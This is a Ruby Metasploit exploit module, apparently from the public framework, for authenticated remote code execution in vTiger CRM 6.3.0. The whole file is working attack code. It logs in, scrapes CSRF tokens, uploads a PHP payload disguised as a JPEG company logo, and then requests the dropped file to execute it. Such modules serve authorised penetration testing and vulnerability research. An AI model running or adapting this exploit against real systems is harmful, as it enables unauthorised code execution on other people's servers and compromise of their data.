## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Vtiger CRM - Authenticated Logo Upload RCE', 'Description' => %q{ Vtiger 6.3.0 CRM's administration interface allows for the upload of a company logo. Instead of uploading an image, an attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file. This module was tested against vTiger CRM v6.3.0. }, 'Author' => [ 'Benjamin Daniel Mussler', # Discoverys 'Touhid M.Shaikh <touhidshaikh22@gmail.com>', # Metasploit Module 'SecureLayer7.net' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-6000'], ['CVE','2016-1713'], ['EDB', '38345'] ], 'DefaultOptions' => { 'Encoder' => 'php/base64', 'RPORT' => 8888 }, 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['vTiger CRM v6.3.0', {}], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 28 2015')) register_options( [ OptString.new('TARGETURI', [ true, 'Base vTiger CRM directory path', '/']), OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']) ]) register_advanced_options( [ OptBool.new('PHPSHORTTAG', [true, 'Use short open php tags around payload', true]) ]) end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php') }) unless res vprint_error("Unable to access the index.php file") return CheckCode::Unknown end unless res.code == 200 vprint_error("Error accessing the index.php file") return CheckCode::Unknown end if res.body =~ /<small> Powered by vtiger CRM (.*.0)<\/small>/i vprint_status("vTiger CRM version: #{$1}") if $1 == '6.3.0' return CheckCode::Vulnerable else return CheckCode::Detected end end CheckCode::Safe end # Login Function. def login # Dummy Request for grabbing CSRF token and PHPSESSION ID res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vhost' => "#{rhost}", }) # Grabbing CSRF token from body /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? vprint_good("CSRF Token for login: #{csrf}") # Get Login now. res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'module' => 'Users', 'action' => 'Login', }, 'vars_post' => { '__vtrftk' => csrf, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }, }) unless res fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") end cookie = nil if res.code == 302 && res.headers['Location'].include?("index.php?module=Users&parent=Settings&view=SystemSetup") vprint_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) cookie = res.get_cookies.split[-1] end unless cookie fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") end cookie end def exploit cookie = login unless cookie fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed") end pay_name = rand_text_alpha(rand(5..10)) + ".php" # Retrieve CSRF token res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vhost' => "#{rhost}", 'cookie' => cookie }) # Grabbing CSRF token from body /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? vprint_good("CSRF Token for Form Upload: #{csrf}") stager = datastore['PHPSHORTTAG'] ? '<? ' : '<?php ' stager << payload.encoded stager << ' ?>' # Setting Company Form data post_data = Rex::MIME::Message.new post_data.add_part(csrf, nil, nil, "form-data; name=\"__vtrftk\"") # CSRF token post_data.add_part('Vtiger', nil, nil, "form-data; name=\"module\"") post_data.add_part('Settings', nil, nil, "form-data; name=\"parent\"") post_data.add_part('CompanyDetailsSave', nil, nil, "form-data; name=\"action\"") post_data.add_part(stager, "image/jpeg", nil, "form-data; name=\"logo\"; filename=\"#{pay_name}\"") post_data.add_part('vtiger', nil, nil, "form-data; name=\"organizationname\"") data = post_data.to_s print_status("Uploading payload: #{pay_name}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vhost' => "#{rhost}", 'cookie' => cookie, 'connection' => 'close', 'headers' => { 'Referer' => "http://#{peer}/index.php?parent=Settings&module=Vtiger&view=CompanyDetails", 'Upgrade-Insecure-Requests' => '1', }, 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", }) unless res && res.code == 302 fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!") end # Cleanup file register_files_for_cleanup(pay_name) vprint_status("Executing Payload: #{peer}/test/logo/#{pay_name}" ) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "test", "logo", pay_name) }) if res && res.code != 200 fail_with(Failure::UnexpectedReply, "#{peer} - Payload not executed") end end end